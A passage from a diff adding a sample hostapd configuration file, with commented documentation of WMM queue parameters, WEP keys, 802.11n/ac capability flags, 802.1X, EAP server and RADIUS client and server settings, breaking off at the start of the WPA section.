+# Note: for IEEE 802.11b mode: cWmin=31 cWmax=1023 burst=0
+#
+# Normal priority / AC_BE = best effort
+#tx_queue_data2_aifs=3
+#tx_queue_data2_cwmin=15
+#tx_queue_data2_cwmax=63
+#tx_queue_data2_burst=0
+# Note: for IEEE 802.11b mode: cWmin=31 cWmax=127 burst=0
+#
+# High priority / AC_VI = video
+#tx_queue_data1_aifs=1
+#tx_queue_data1_cwmin=7
+#tx_queue_data1_cwmax=15
+#tx_queue_data1_burst=3.0
+# Note: for IEEE 802.11b mode: cWmin=15 cWmax=31 burst=6.0
+#
+# Highest priority / AC_VO = voice
+#tx_queue_data0_aifs=1
+#tx_queue_data0_cwmin=3
+#tx_queue_data0_cwmax=7
+#tx_queue_data0_burst=1.5
+# Note: for IEEE 802.11b mode: cWmin=7 cWmax=15 burst=3.3
+
+# 802.1D Tag (= UP) to AC mappings
+# WMM specifies following mapping of data frames to different ACs. This mapping
+# can be configured using Linux QoS/tc and sch_pktpri.o module.
+# 802.1D Tag 802.1D Designation Access Category WMM Designation
+# 1 BK AC_BK Background
+# 2 - AC_BK Background
+# 0 BE AC_BE Best Effort
+# 3 EE AC_BE Best Effort
+# 4 CL AC_VI Video
+# 5 VI AC_VI Video
+# 6 VO AC_VO Voice
+# 7 NC AC_VO Voice
+# Data frames with no priority information: AC_BE
+# Management frames: AC_VO
+# PS-Poll frames: AC_BE
+
+# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e):
+# for 802.11a or 802.11g networks
+# These parameters are sent to WMM clients when they associate.
+# The parameters will be used by WMM clients for frames transmitted to the
+# access point.
+#
+# note - txop_limit is in units of 32microseconds
+# note - acm is admission control mandatory flag. 0 = admission control not
+# required, 1 = mandatory
+# note - Here cwMin and cmMax are in exponent form. The actual cw value used
+# will be (2^n)-1 where n is the value given here. The allowed range for these
+# wmm_ac_??_{cwmin,cwmax} is 0..15 with cwmax >= cwmin.
+#
+wmm_enabled=1
+#
+# WMM-PS Unscheduled Automatic Power Save Delivery [U-APSD]
+# Enable this flag if U-APSD supported outside hostapd (eg., Firmware/driver)
+#uapsd_advertisement_enabled=1
+#
+# Low priority / AC_BK = background
+wmm_ac_bk_cwmin=4
+wmm_ac_bk_cwmax=10
+wmm_ac_bk_aifs=7
+wmm_ac_bk_txop_limit=0
+wmm_ac_bk_acm=0
+# Note: for IEEE 802.11b mode: cWmin=5 cWmax=10
+#
+# Normal priority / AC_BE = best effort
+wmm_ac_be_aifs=3
+wmm_ac_be_cwmin=4
+wmm_ac_be_cwmax=10
+wmm_ac_be_txop_limit=0
+wmm_ac_be_acm=0
+# Note: for IEEE 802.11b mode: cWmin=5 cWmax=7
+#
+# High priority / AC_VI = video
+wmm_ac_vi_aifs=2
+wmm_ac_vi_cwmin=3
+wmm_ac_vi_cwmax=4
+wmm_ac_vi_txop_limit=94
+wmm_ac_vi_acm=0
+# Note: for IEEE 802.11b mode: cWmin=4 cWmax=5 txop_limit=188
+#
+# Highest priority / AC_VO = voice
+wmm_ac_vo_aifs=2
+wmm_ac_vo_cwmin=2
+wmm_ac_vo_cwmax=3
+wmm_ac_vo_txop_limit=47
+wmm_ac_vo_acm=0
+# Note: for IEEE 802.11b mode: cWmin=3 cWmax=4 burst=102
+
+# Static WEP key configuration
+#
+# The key number to use when transmitting.
+# It must be between 0 and 3, and the corresponding key must be set.
+# default: not set
+#wep_default_key=0
+# The WEP keys to use.
+# A key may be a quoted string or unquoted hexadecimal digits.
+# The key length should be 5, 13, or 16 characters, or 10, 26, or 32
+# digits, depending on whether 40-bit (64-bit), 104-bit (128-bit), or
+# 128-bit (152-bit) WEP is used.
+# Only the default key must be supplied; the others are optional.
+# default: not set
+#wep_key0=123456789a
+#wep_key1="vwxyz"
+#wep_key2=0102030405060708090a0b0c0d
+#wep_key3=".2.4.6.8.0.23"
+
+# Station inactivity limit
+#
+# If a station does not send anything in ap_max_inactivity seconds, an
+# empty data frame is sent to it in order to verify whether it is
+# still in range. If this frame is not ACKed, the station will be
+# disassociated and then deauthenticated. This feature is used to
+# clear station table of old entries when the STAs move out of the
+# range.
+#
+# The station can associate again with the AP if it is still in range;
+# this inactivity poll is just used as a nicer way of verifying
+# inactivity; i.e., client will not report broken connection because
+# disassociation frame is not sent immediately without first polling
+# the STA with a data frame.
+# default: 300 (i.e., 5 minutes)
+#ap_max_inactivity=300
+#
+# The inactivity polling can be disabled to disconnect stations based on
+# inactivity timeout so that idle stations are more likely to be disconnected
+# even if they are still in range of the AP. This can be done by setting
+# skip_inactivity_poll to 1 (default 0).
+#skip_inactivity_poll=0
+
+# Disassociate stations based on excessive transmission failures or other
+# indications of connection loss. This depends on the driver capabilities and
+# may not be available with all drivers.
+#disassoc_low_ack=1
+
+# Maximum allowed Listen Interval (how many Beacon periods STAs are allowed to
+# remain asleep). Default: 65535 (no limit apart from field size)
+#max_listen_interval=100
+
+# WDS (4-address frame) mode with per-station virtual interfaces
+# (only supported with driver=nl80211)
+# This mode allows associated stations to use 4-address frames to allow layer 2
+# bridging to be used.
+#wds_sta=1
+
+# If bridge parameter is set, the WDS STA interface will be added to the same
+# bridge by default. This can be overridden with the wds_bridge parameter to
+# use a separate bridge.
+#wds_bridge=wds-br0
+
+# Start the AP with beaconing disabled by default.
+#start_disabled=0
+
+# Client isolation can be used to prevent low-level bridging of frames between
+# associated stations in the BSS. By default, this bridging is allowed.
+#ap_isolate=1
+
+# BSS Load update period (in BUs)
+# This field is used to enable and configure adding a BSS Load element into
+# Beacon and Probe Response frames.
+#bss_load_update_period=50
+
+# Fixed BSS Load value for testing purposes
+# This field can be used to configure hostapd to add a fixed BSS Load element
+# into Beacon and Probe Response frames for testing purposes. The format is
+# <station count>:<channel utilization>:<available admission capacity>
+#bss_load_test=12:80:20000
+
+##### IEEE 802.11n related configuration ######################################
+
+# ieee80211n: Whether IEEE 802.11n (HT) is enabled
+# 0 = disabled (default)
+# 1 = enabled
+# Note: You will also need to enable WMM for full HT functionality.
+# Note: hw_mode=g (2.4 GHz) and hw_mode=a (5 GHz) is used to specify the band.
+#ieee80211n=1
+
+# ht_capab: HT capabilities (list of flags)
+# LDPC coding capability: [LDPC] = supported
+# Supported channel width set: [HT40-] = both 20 MHz and 40 MHz with secondary
+# channel below the primary channel; [HT40+] = both 20 MHz and 40 MHz
+# with secondary channel above the primary channel
+# (20 MHz only if neither is set)
+# Note: There are limits on which channels can be used with HT40- and
+# HT40+. Following table shows the channels that may be available for
+# HT40- and HT40+ use per IEEE 802.11n Annex J:
+# freq HT40- HT40+
+# 2.4 GHz 5-13 1-7 (1-9 in Europe/Japan)
+# 5 GHz 40,48,56,64 36,44,52,60
+# (depending on the location, not all of these channels may be available
+# for use)
+# Please note that 40 MHz channels may switch their primary and secondary
+# channels if needed or creation of 40 MHz channel maybe rejected based
+# on overlapping BSSes. These changes are done automatically when hostapd
+# is setting up the 40 MHz channel.
+# Spatial Multiplexing (SM) Power Save: [SMPS-STATIC] or [SMPS-DYNAMIC]
+# (SMPS disabled if neither is set)
+# HT-greenfield: [GF] (disabled if not set)
+# Short GI for 20 MHz: [SHORT-GI-20] (disabled if not set)
+# Short GI for 40 MHz: [SHORT-GI-40] (disabled if not set)
+# Tx STBC: [TX-STBC] (disabled if not set)
+# Rx STBC: [RX-STBC1] (one spatial stream), [RX-STBC12] (one or two spatial
+# streams), or [RX-STBC123] (one, two, or three spatial streams); Rx STBC
+# disabled if none of these set
+# HT-delayed Block Ack: [DELAYED-BA] (disabled if not set)
+# Maximum A-MSDU length: [MAX-AMSDU-7935] for 7935 octets (3839 octets if not
+# set)
+# DSSS/CCK Mode in 40 MHz: [DSSS_CCK-40] = allowed (not allowed if not set)
+# 40 MHz intolerant [40-INTOLERANT] (not advertised if not set)
+# L-SIG TXOP protection support: [LSIG-TXOP-PROT] (disabled if not set)
+#ht_capab=[HT40-][SHORT-GI-20][SHORT-GI-40]
+
+# Require stations to support HT PHY (reject association if they do not)
+#require_ht=1
+
+# If set non-zero, require stations to perform scans of overlapping
+# channels to test for stations which would be affected by 40 MHz traffic.
+# This parameter sets the interval in seconds between these scans. Setting this
+# to non-zero allows 2.4 GHz band AP to move dynamically to a 40 MHz channel if
+# no co-existence issues with neighboring devices are found.
+#obss_interval=0
+
+##### IEEE 802.11ac related configuration #####################################
+
+# ieee80211ac: Whether IEEE 802.11ac (VHT) is enabled
+# 0 = disabled (default)
+# 1 = enabled
+# Note: You will also need to enable WMM for full VHT functionality.
+# Note: hw_mode=a is used to specify that 5 GHz band is used with VHT.
+#ieee80211ac=1
+
+# vht_capab: VHT capabilities (list of flags)
+#
+# vht_max_mpdu_len: [MAX-MPDU-7991] [MAX-MPDU-11454]
+# Indicates maximum MPDU length
+# 0 = 3895 octets (default)
+# 1 = 7991 octets
+# 2 = 11454 octets
+# 3 = reserved
+#
+# supported_chan_width: [VHT160] [VHT160-80PLUS80]
+# Indicates supported Channel widths
+# 0 = 160 MHz & 80+80 channel widths are not supported (default)
+# 1 = 160 MHz channel width is supported
+# 2 = 160 MHz & 80+80 channel widths are supported
+# 3 = reserved
+#
+# Rx LDPC coding capability: [RXLDPC]
+# Indicates support for receiving LDPC coded pkts
+# 0 = Not supported (default)
+# 1 = Supported
+#
+# Short GI for 80 MHz: [SHORT-GI-80]
+# Indicates short GI support for reception of packets transmitted with TXVECTOR
+# params format equal to VHT and CBW = 80Mhz
+# 0 = Not supported (default)
+# 1 = Supported
+#
+# Short GI for 160 MHz: [SHORT-GI-160]
+# Indicates short GI support for reception of packets transmitted with TXVECTOR
+# params format equal to VHT and CBW = 160Mhz
+# 0 = Not supported (default)
+# 1 = Supported
+#
+# Tx STBC: [TX-STBC-2BY1]
+# Indicates support for the transmission of at least 2x1 STBC
+# 0 = Not supported (default)
+# 1 = Supported
+#
+# Rx STBC: [RX-STBC-1] [RX-STBC-12] [RX-STBC-123] [RX-STBC-1234]
+# Indicates support for the reception of PPDUs using STBC
+# 0 = Not supported (default)
+# 1 = support of one spatial stream
+# 2 = support of one and two spatial streams
+# 3 = support of one, two and three spatial streams
+# 4 = support of one, two, three and four spatial streams
+# 5,6,7 = reserved
+#
+# SU Beamformer Capable: [SU-BEAMFORMER]
+# Indicates support for operation as a single user beamformer
+# 0 = Not supported (default)
+# 1 = Supported
+#
+# SU Beamformee Capable: [SU-BEAMFORMEE]
+# Indicates support for operation as a single user beamformee
+# 0 = Not supported (default)
+# 1 = Supported
+#
+# Compressed Steering Number of Beamformer Antennas Supported:
+# [BF-ANTENNA-2] [BF-ANTENNA-3] [BF-ANTENNA-4]
+# Beamformee's capability indicating the maximum number of beamformer
+# antennas the beamformee can support when sending compressed beamforming
+# feedback
+# If SU beamformer capable, set to maximum value minus 1
+# else reserved (default)
+#
+# Number of Sounding Dimensions:
+# [SOUNDING-DIMENSION-2] [SOUNDING-DIMENSION-3] [SOUNDING-DIMENSION-4]
+# Beamformer's capability indicating the maximum value of the NUM_STS parameter
+# in the TXVECTOR of a VHT NDP
+# If SU beamformer capable, set to maximum value minus 1
+# else reserved (default)
+#
+# MU Beamformer Capable: [MU-BEAMFORMER]
+# Indicates support for operation as an MU beamformer
+# 0 = Not supported or sent by Non-AP STA (default)
+# 1 = Supported
+#
+# VHT TXOP PS: [VHT-TXOP-PS]
+# Indicates whether or not the AP supports VHT TXOP Power Save Mode
+# or whether or not the STA is in VHT TXOP Power Save mode
+# 0 = VHT AP doesn't support VHT TXOP PS mode (OR) VHT STA not in VHT TXOP PS
+# mode
+# 1 = VHT AP supports VHT TXOP PS mode (OR) VHT STA is in VHT TXOP power save
+# mode
+#
+# +HTC-VHT Capable: [HTC-VHT]
+# Indicates whether or not the STA supports receiving a VHT variant HT Control
+# field.
+# 0 = Not supported (default)
+# 1 = supported
+#
+# Maximum A-MPDU Length Exponent: [MAX-A-MPDU-LEN-EXP0]..[MAX-A-MPDU-LEN-EXP7]
+# Indicates the maximum length of A-MPDU pre-EOF padding that the STA can recv
+# This field is an integer in the range of 0 to 7.
+# The length defined by this field is equal to
+# 2 pow(13 + Maximum A-MPDU Length Exponent) -1 octets
+#
+# VHT Link Adaptation Capable: [VHT-LINK-ADAPT2] [VHT-LINK-ADAPT3]
+# Indicates whether or not the STA supports link adaptation using VHT variant
+# HT Control field
+# If +HTC-VHTcapable is 1
+# 0 = (no feedback) if the STA does not provide VHT MFB (default)
+# 1 = reserved
+# 2 = (Unsolicited) if the STA provides only unsolicited VHT MFB
+# 3 = (Both) if the STA can provide VHT MFB in response to VHT MRQ and if the
+# STA provides unsolicited VHT MFB
+# Reserved if +HTC-VHTcapable is 0
+#
+# Rx Antenna Pattern Consistency: [RX-ANTENNA-PATTERN]
+# Indicates the possibility of Rx antenna pattern change
+# 0 = Rx antenna pattern might change during the lifetime of an association
+# 1 = Rx antenna pattern does not change during the lifetime of an association
+#
+# Tx Antenna Pattern Consistency: [TX-ANTENNA-PATTERN]
+# Indicates the possibility of Tx antenna pattern change
+# 0 = Tx antenna pattern might change during the lifetime of an association
+# 1 = Tx antenna pattern does not change during the lifetime of an association
+#vht_capab=[SHORT-GI-80][HTC-VHT]
+#
+# Require stations to support VHT PHY (reject association if they do not)
+#require_vht=1
+
+# 0 = 20 or 40 MHz operating Channel width
+# 1 = 80 MHz channel width
+# 2 = 160 MHz channel width
+# 3 = 80+80 MHz channel width
+#vht_oper_chwidth=1
+#
+# center freq = 5 GHz + (5 * index)
+# So index 42 gives center freq 5.210 GHz
+# which is channel 42 in 5G band
+#
+#vht_oper_centr_freq_seg0_idx=42
+#
+# center freq = 5 GHz + (5 * index)
+# So index 159 gives center freq 5.795 GHz
+# which is channel 159 in 5G band
+#
+#vht_oper_centr_freq_seg1_idx=159
+
+# Workaround to use station's nsts capability in (Re)Association Response frame
+# This may be needed with some deployed devices as an interoperability
+# workaround for beamforming if the AP's capability is greater than the
+# station's capability. This is disabled by default and can be enabled by
+# setting use_sta_nsts=1.
+#use_sta_nsts=0
+
+##### IEEE 802.1X-2004 related configuration ##################################
+
+# Require IEEE 802.1X authorization
+#ieee8021x=1
+
+# IEEE 802.1X/EAPOL version
+# hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
+# version 2. However, there are many client implementations that do not handle
+# the new version number correctly (they seem to drop the frames completely).
+# In order to make hostapd interoperate with these clients, the version number
+# can be set to the older version (1) with this configuration value.
+#eapol_version=2
+
+# Optional displayable message sent with EAP Request-Identity. The first \0
+# in this string will be converted to ASCII-0 (nul). This can be used to
+# separate network info (comma separated list of attribute=value pairs); see,
+# e.g., RFC 4284.
+#eap_message=hello
+#eap_message=hello\0networkid=netw,nasid=foo,portid=0,NAIRealms=example.com
+
+# WEP rekeying (disabled if key lengths are not set or are set to 0)
+# Key lengths for default/broadcast and individual/unicast keys:
+# 5 = 40-bit WEP (also known as 64-bit WEP with 40 secret bits)
+# 13 = 104-bit WEP (also known as 128-bit WEP with 104 secret bits)
+#wep_key_len_broadcast=5
+#wep_key_len_unicast=5
+# Rekeying period in seconds. 0 = do not rekey (i.e., set keys only once)
+#wep_rekey_period=300
+
+# EAPOL-Key index workaround (set bit7) for WinXP Supplicant (needed only if
+# only broadcast keys are used)
+eapol_key_index_workaround=0
+
+# EAP reauthentication period in seconds (default: 3600 seconds; 0 = disable
+# reauthentication).
+#eap_reauth_period=3600
+
+# Use PAE group address (01:80:c2:00:00:03) instead of individual target
+# address when sending EAPOL frames with driver=wired. This is the most common
+# mechanism used in wired authentication, but it also requires that the port
+# is only used by one station.
+#use_pae_group_addr=1
+
+# EAP Re-authentication Protocol (ERP) authenticator (RFC 6696)
+#
+# Whether to initiate EAP authentication with EAP-Initiate/Re-auth-Start before
+# EAP-Identity/Request
+#erp_send_reauth_start=1
+#
+# Domain name for EAP-Initiate/Re-auth-Start. Omitted from the message if not
+# set (no local ER server). This is also used by the integrated EAP server if
+# ERP is enabled (eap_server_erp=1).
+#erp_domain=example.com
+
+##### Integrated EAP server ###################################################
+
+# Optionally, hostapd can be configured to use an integrated EAP server
+# to process EAP authentication locally without need for an external RADIUS
+# server. This functionality can be used both as a local authentication server
+# for IEEE 802.1X/EAPOL and as a RADIUS server for other devices.
+
+# Use integrated EAP server instead of external RADIUS authentication
+# server. This is also needed if hostapd is configured to act as a RADIUS
+# authentication server.
+#eap_server=0
+
+# Path for EAP server user database
+# If SQLite support is included, this can be set to "sqlite:/path/to/sqlite.db"
+# to use SQLite database instead of a text file.
+#eap_user_file=/etc/hostapd.eap_user
+
+# CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+#ca_cert=/etc/hostapd.ca.pem
+
+# Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+#server_cert=/etc/hostapd.server.pem
+
+# Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
+# This may point to the same file as server_cert if both certificate and key
+# are included in a single file. PKCS#12 (PFX) file (.p12/.pfx) can also be
+# used by commenting out server_cert and specifying the PFX file as the
+# private_key.
+#private_key=/etc/hostapd.server.prv
+
+# Passphrase for private key
+#private_key_passwd=secret passphrase
+
+# Server identity
+# EAP methods that provide mechanism for authenticated server identity delivery
+# use this value. If not set, "hostapd" is used as a default.
+#server_id=server.example.com
+
+# Enable CRL verification.
+# Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
+# valid CRL signed by the CA is required to be included in the ca_cert file.
+# This can be done by using PEM format for CA certificate and CRL and
+# concatenating these into one file. Whenever CRL changes, hostapd needs to be
+# restarted to take the new CRL into use.
+# 0 = do not verify CRLs (default)
+# 1 = check the CRL of the user certificate
+# 2 = check all CRLs in the certificate path
+#check_crl=1
+
+# TLS Session Lifetime in seconds
+# This can be used to allow TLS sessions to be cached and resumed with an
+# abbreviated handshake when using EAP-TLS/TTLS/PEAP.
+# (default: 0 = session caching and resumption disabled)
+#tls_session_lifetime=3600
+
+# Cached OCSP stapling response (DER encoded)
+# If set, this file is sent as a certificate status response by the EAP server
+# if the EAP peer requests certificate status in the ClientHello message.
+# This cache file can be updated, e.g., by running following command
+# periodically to get an update from the OCSP responder:
+# openssl ocsp \
+# -no_nonce \
+# -CAfile /etc/hostapd.ca.pem \
+# -issuer /etc/hostapd.ca.pem \
+# -cert /etc/hostapd.server.pem \
+# -url http://ocsp.example.com:8888/ \
+# -respout /tmp/ocsp-cache.der
+#ocsp_stapling_response=/tmp/ocsp-cache.der
+
+# Cached OCSP stapling response list (DER encoded OCSPResponseList)
+# This is similar to ocsp_stapling_response, but the extended version defined in
+# RFC 6961 to allow multiple OCSP responses to be provided.
+#ocsp_stapling_response_multi=/tmp/ocsp-multi-cache.der
+
+# dh_file: File path to DH/DSA parameters file (in PEM format)
+# This is an optional configuration file for setting parameters for an
+# ephemeral DH key exchange. In most cases, the default RSA authentication does
+# not use this configuration. However, it is possible setup RSA to use
+# ephemeral DH key exchange. In addition, ciphers with DSA keys always use
+# ephemeral DH keys. This can be used to achieve forward secrecy. If the file
+# is in DSA parameters format, it will be automatically converted into DH
+# params. This parameter is required if anonymous EAP-FAST is used.
+# You can generate DH parameters file with OpenSSL, e.g.,
+# "openssl dhparam -out /etc/hostapd.dh.pem 2048"
+#dh_file=/etc/hostapd.dh.pem
+
+# OpenSSL cipher string
+#
+# This is an OpenSSL specific configuration option for configuring the default
+# ciphers. If not set, "DEFAULT:!EXP:!LOW" is used as the default.
+# See https://www.openssl.org/docs/apps/ciphers.html for OpenSSL documentation
+# on cipher suite configuration. This is applicable only if hostapd is built to
+# use OpenSSL.
+#openssl_ciphers=DEFAULT:!EXP:!LOW
+
+# Fragment size for EAP methods
+#fragment_size=1400
+
+# Finite cyclic group for EAP-pwd. Number maps to group of domain parameters
+# using the IANA repository for IKE (RFC 2409).
+#pwd_group=19
+
+# Configuration data for EAP-SIM database/authentication gateway interface.
+# This is a text string in implementation specific format. The example
+# implementation in eap_sim_db.c uses this as the UNIX domain socket name for
+# the HLR/AuC gateway (e.g., hlr_auc_gw). In this case, the path uses "unix:"
+# prefix. If hostapd is built with SQLite support (CONFIG_SQLITE=y in .config),
+# database file can be described with an optional db=<path> parameter.
+#eap_sim_db=unix:/tmp/hlr_auc_gw.sock
+#eap_sim_db=unix:/tmp/hlr_auc_gw.sock db=/tmp/hostapd.db
+
+# EAP-SIM DB request timeout
+# This parameter sets the maximum time to wait for a database request response.
+# The parameter value is in seconds.
+#eap_sim_db_timeout=1
+
+# Encryption key for EAP-FAST PAC-Opaque values. This key must be a secret,
+# random value. It is configured as a 16-octet value in hex format. It can be
+# generated, e.g., with the following command:
+# od -tx1 -v -N16 /dev/random | colrm 1 8 | tr -d ' '
+#pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
+
+# EAP-FAST authority identity (A-ID)
+# A-ID indicates the identity of the authority that issues PACs. The A-ID
+# should be unique across all issuing servers. In theory, this is a variable
+# length field, but due to some existing implementations requiring A-ID to be
+# 16 octets in length, it is strongly recommended to use that length for the
+# field to provid interoperability with deployed peer implementations. This
+# field is configured in hex format.
+#eap_fast_a_id=101112131415161718191a1b1c1d1e1f
+
+# EAP-FAST authority identifier information (A-ID-Info)
+# This is a user-friendly name for the A-ID. For example, the enterprise name
+# and server name in a human-readable format. This field is encoded as UTF-8.
+#eap_fast_a_id_info=test server
+
+# Enable/disable different EAP-FAST provisioning modes:
+#0 = provisioning disabled
+#1 = only anonymous provisioning allowed
+#2 = only authenticated provisioning allowed
+#3 = both provisioning modes allowed (default)
+#eap_fast_prov=3
+
+# EAP-FAST PAC-Key lifetime in seconds (hard limit)
+#pac_key_lifetime=604800
+
+# EAP-FAST PAC-Key refresh time in seconds (soft limit on remaining hard
+# limit). The server will generate a new PAC-Key when this number of seconds
+# (or fewer) of the lifetime remains.
+#pac_key_refresh_time=86400
+
+# EAP-SIM and EAP-AKA protected success/failure indication using AT_RESULT_IND
+# (default: 0 = disabled).
+#eap_sim_aka_result_ind=1
+
+# Trusted Network Connect (TNC)
+# If enabled, TNC validation will be required before the peer is allowed to
+# connect. Note: This is only used with EAP-TTLS and EAP-FAST. If any other
+# EAP method is enabled, the peer will be allowed to connect without TNC.
+#tnc=1
+
+# EAP Re-authentication Protocol (ERP) - RFC 6696
+#
+# Whether to enable ERP on the EAP server.
+#eap_server_erp=1
+
+##### IEEE 802.11f - Inter-Access Point Protocol (IAPP) #######################
+
+# Interface to be used for IAPP broadcast packets
+#iapp_interface=eth0
+
+
+##### RADIUS client configuration #############################################
+# for IEEE 802.1X with external Authentication Server, IEEE 802.11
+# authentication with external ACL for MAC addresses, and accounting
+
+# The own IP address of the access point (used as NAS-IP-Address)
+own_ip_addr=127.0.0.1
+
+# NAS-Identifier string for RADIUS messages. When used, this should be unique
+# to the NAS within the scope of the RADIUS server. Please note that hostapd
+# uses a separate RADIUS client for each BSS and as such, a unique
+# nas_identifier value should be configured separately for each BSS. This is
+# particularly important for cases where RADIUS accounting is used
+# (Accounting-On/Off messages are interpreted as clearing all ongoing sessions
+# and that may get interpreted as applying to all BSSes if the same
+# NAS-Identifier value is used.) For example, a fully qualified domain name
+# prefixed with a unique identifier of the BSS (e.g., BSSID) can be used here.
+#
+# When using IEEE 802.11r, nas_identifier must be set and must be between 1 and
+# 48 octets long.
+#
+# It is mandatory to configure either own_ip_addr or nas_identifier to be
+# compliant with the RADIUS protocol. When using RADIUS accounting, it is
+# strongly recommended that nas_identifier is set to a unique value for each
+# BSS.
+#nas_identifier=ap.example.com
+
+# RADIUS client forced local IP address for the access point
+# Normally the local IP address is determined automatically based on configured
+# IP addresses, but this field can be used to force a specific address to be
+# used, e.g., when the device has multiple IP addresses.
+#radius_client_addr=127.0.0.1
+
+# RADIUS authentication server
+#auth_server_addr=127.0.0.1
+#auth_server_port=1812
+#auth_server_shared_secret=secret
+
+# RADIUS accounting server
+#acct_server_addr=127.0.0.1
+#acct_server_port=1813
+#acct_server_shared_secret=secret
+
+# Secondary RADIUS servers; to be used if primary one does not reply to
+# RADIUS packets. These are optional and there can be more than one secondary
+# server listed.
+#auth_server_addr=127.0.0.2
+#auth_server_port=1812
+#auth_server_shared_secret=secret2
+#
+#acct_server_addr=127.0.0.2
+#acct_server_port=1813
+#acct_server_shared_secret=secret2
+
+# Retry interval for trying to return to the primary RADIUS server (in
+# seconds). RADIUS client code will automatically try to use the next server
+# when the current server is not replying to requests. If this interval is set,
+# primary server will be retried after configured amount of time even if the
+# currently used secondary server is still working.
+#radius_retry_primary_interval=600
+
+
+# Interim accounting update interval
+# If this is set (larger than 0) and acct_server is configured, hostapd will
+# send interim accounting updates every N seconds. Note: if set, this overrides
+# possible Acct-Interim-Interval attribute in Access-Accept message. Thus, this
+# value should not be configured in hostapd.conf, if RADIUS server is used to
+# control the interim interval.
+# This value should not be less 600 (10 minutes) and must not be less than
+# 60 (1 minute).
+#radius_acct_interim_interval=600
+
+# Request Chargeable-User-Identity (RFC 4372)
+# This parameter can be used to configure hostapd to request CUI from the
+# RADIUS server by including Chargeable-User-Identity attribute into
+# Access-Request packets.
+#radius_request_cui=1
+
+# Dynamic VLAN mode; allow RADIUS authentication server to decide which VLAN
+# is used for the stations. This information is parsed from following RADIUS
+# attributes based on RFC 3580 and RFC 2868: Tunnel-Type (value 13 = VLAN),
+# Tunnel-Medium-Type (value 6 = IEEE 802), Tunnel-Private-Group-ID (value
+# VLANID as a string). Optionally, the local MAC ACL list (accept_mac_file) can
+# be used to set static client MAC address to VLAN ID mapping.
+# 0 = disabled (default)
+# 1 = option; use default interface if RADIUS server does not include VLAN ID
+# 2 = required; reject authentication if RADIUS server does not include VLAN ID
+#dynamic_vlan=0
+
+# Per-Station AP_VLAN interface mode
+# If enabled, each station is assigned its own AP_VLAN interface.
+# This implies per-station group keying and ebtables filtering of inter-STA
+# traffic (when passed through the AP).
+# If the sta is not assigned to any VLAN, then its AP_VLAN interface will be
+# added to the bridge given by the "bridge" configuration option (see above).
+# Otherwise, it will be added to the per-VLAN bridge.
+# 0 = disabled (default)
+# 1 = enabled
+#per_sta_vif=0
+
+# VLAN interface list for dynamic VLAN mode is read from a separate text file.
+# This list is used to map VLAN ID from the RADIUS server to a network
+# interface. Each station is bound to one interface in the same way as with
+# multiple BSSIDs or SSIDs. Each line in this text file is defining a new
+# interface and the line must include VLAN ID and interface name separated by
+# white space (space or tab).
+# If no entries are provided by this file, the station is statically mapped
+# to <bss-iface>.<vlan-id> interfaces.
+#vlan_file=/etc/hostapd.vlan
+
+# Interface where 802.1q tagged packets should appear when a RADIUS server is
+# used to determine which VLAN a station is on. hostapd creates a bridge for
+# each VLAN. Then hostapd adds a VLAN interface (associated with the interface
+# indicated by 'vlan_tagged_interface') and the appropriate wireless interface
+# to the bridge.
+#vlan_tagged_interface=eth0
+
+# Bridge (prefix) to add the wifi and the tagged interface to. This gets the
+# VLAN ID appended. It defaults to brvlan%d if no tagged interface is given
+# and br%s.%d if a tagged interface is given, provided %s = tagged interface
+# and %d = VLAN ID.
+#vlan_bridge=brvlan
+
+# When hostapd creates a VLAN interface on vlan_tagged_interfaces, it needs
+# to know how to name it.
+# 0 = vlan<XXX>, e.g., vlan1
+# 1 = <vlan_tagged_interface>.<XXX>, e.g. eth0.1
+#vlan_naming=0
+
+# Arbitrary RADIUS attributes can be added into Access-Request and
+# Accounting-Request packets by specifying the contents of the attributes with
+# the following configuration parameters. There can be multiple of these to
+# add multiple attributes. These parameters can also be used to override some
+# of the attributes added automatically by hostapd.
+# Format: <attr_id>[:<syntax:value>]
+# attr_id: RADIUS attribute type (e.g., 26 = Vendor-Specific)
+# syntax: s = string (UTF-8), d = integer, x = octet string
+# value: attribute value in format indicated by the syntax
+# If syntax and value parts are omitted, a null value (single 0x00 octet) is
+# used.
+#
+# Additional Access-Request attributes
+# radius_auth_req_attr=<attr_id>[:<syntax:value>]
+# Examples:
+# Operator-Name = "Operator"
+#radius_auth_req_attr=126:s:Operator
+# Service-Type = Framed (2)
+#radius_auth_req_attr=6:d:2
+# Connect-Info = "testing" (this overrides the automatically generated value)
+#radius_auth_req_attr=77:s:testing
+# Same Connect-Info value set as a hexdump
+#radius_auth_req_attr=77:x:74657374696e67
+
+#
+# Additional Accounting-Request attributes
+# radius_acct_req_attr=<attr_id>[:<syntax:value>]
+# Examples:
+# Operator-Name = "Operator"
+#radius_acct_req_attr=126:s:Operator
+
+# Dynamic Authorization Extensions (RFC 5176)
+# This mechanism can be used to allow dynamic changes to user session based on
+# commands from a RADIUS server (or some other disconnect client that has the
+# needed session information). For example, Disconnect message can be used to
+# request an associated station to be disconnected.
+#
+# This is disabled by default. Set radius_das_port to non-zero UDP port
+# number to enable.
+#radius_das_port=3799
+#
+# DAS client (the host that can send Disconnect/CoA requests) and shared secret
+#radius_das_client=192.168.1.123 shared secret here
+#
+# DAS Event-Timestamp time window in seconds
+#radius_das_time_window=300
+#
+# DAS require Event-Timestamp
+#radius_das_require_event_timestamp=1
+#
+# DAS require Message-Authenticator
+#radius_das_require_message_authenticator=1
+
+##### RADIUS authentication server configuration ##############################
+
+# hostapd can be used as a RADIUS authentication server for other hosts. This
+# requires that the integrated EAP server is also enabled and both
+# authentication services are sharing the same configuration.
+
+# File name of the RADIUS clients configuration for the RADIUS server. If this
+# commented out, RADIUS server is disabled.
+#radius_server_clients=/etc/hostapd.radius_clients
+
+# The UDP port number for the RADIUS authentication server
+#radius_server_auth_port=1812
+
+# The UDP port number for the RADIUS accounting server
+# Commenting this out or setting this to 0 can be used to disable RADIUS
+# accounting while still enabling RADIUS authentication.
+#radius_server_acct_port=1813
+
+# Use IPv6 with RADIUS server (IPv4 will also be supported using IPv6 API)
+#radius_server_ipv6=1
+
+
+##### WPA/IEEE 802.11i configuration ##########################################
+
+# Enable WPA. Setting this variable configures the AP to require WPA (either
